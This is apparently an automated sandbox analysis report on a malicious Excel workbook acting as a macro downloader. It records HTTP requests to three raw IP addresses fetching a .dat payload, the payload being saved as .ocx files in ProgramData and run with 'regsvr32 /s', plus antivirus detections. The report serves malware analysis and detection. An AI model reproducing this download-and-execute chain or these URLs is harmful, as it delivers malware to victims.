SNC-612086596-Apr-6.xlsb

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://212.46.38.179/7790983516.dat
suspicious_features	Connection to IP address				suspicious_request	GET http://91.234.254.131/7790983516.dat

Performs some HTTP requests (2 events)

request	GET http://212.46.38.179/7790983516.dat
request	GET http://91.234.254.131/7790983516.dat

Allocates read-write-execute memory (usually to unpack itself) (15 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fcf1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fd4f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fd4f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76941000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fc91000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x750c1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76451000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x734f1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fb81000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 7, 2022, 11:23 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fb71000 process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 7, 2022, 11:24 a.m.	process_identifier: 2784 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07350000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 7, 2022, 11:24 a.m.	process_identifier: 2784 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07350000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 7, 2022, 11:24 a.m.	process_identifier: 2784 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x08670000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 7, 2022, 11:24 a.m.	process_identifier: 2784 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x08680000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0

Creates executable files on the filesystem (3 events)

file	C:\ProgramData\Frister.ocx
file	C:\ProgramData\Frister1.ocx
file	C:\ProgramData\Frister2.ocx

Creates hidden or system file (3 events)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 7, 2022, 11:23 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x000003a4 filepath: C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0
NtCreateFile April 7, 2022, 11:23 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x0000040c filepath: C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0
NtCreateFile April 7, 2022, 11:23 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000444 filepath: C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$SNC-612086596-Apr-6.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a suspicious process (3 events)

cmdline	regsvr32 /s C:\ProgramData\Frister.ocx
cmdline	regsvr32 /s C:\ProgramData\Frister2.ocx
cmdline	regsvr32 /s C:\ProgramData\Frister1.ocx

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

Sangfor	Malware.Generic-XLM.Save.ma35
Cyren	XF/SneakyBin.E.gen!Eldorado
Kaspersky	HEUR:Trojan.MSOffice.Generic
Tencent	Trojan.MsOffice.Macro40.11003135
McAfee-GW-Edition	X97M/Downloader.nf
Ikarus	Trojan-Downloader.XLM.Agent
GData	Macro.Trojan-Downloader.Agent.BDH
ZoneAlarm	HEUR:Trojan.MSOffice.Generic
Fortinet	MSExcel/Agent.IF!tr.dldr

Communicates with host for which no DNS query was performed (3 events)

host	104.225.129.111
host	212.46.38.179
host	91.234.254.131

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW April 7, 2022, 11:24 a.m.	url: http://104.225.129.111/7790983516.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister.ocx filepath: C:\ProgramData\Frister.ocx		2148270085	0
URLDownloadToFileW April 7, 2022, 11:24 a.m.	url: http://212.46.38.179/7790983516.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister1.ocx filepath: C:\ProgramData\Frister1.ocx		2148270088	0
URLDownloadToFileW April 7, 2022, 11:24 a.m.	url: http://91.234.254.131/7790983516.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister2.ocx filepath: C:\ProgramData\Frister2.ocx		2148270088	0

One or more non-whitelisted processes were created (3 events)

parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister.ocx
parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister2.ocx
parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister1.ocx

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

104.225.129.111:80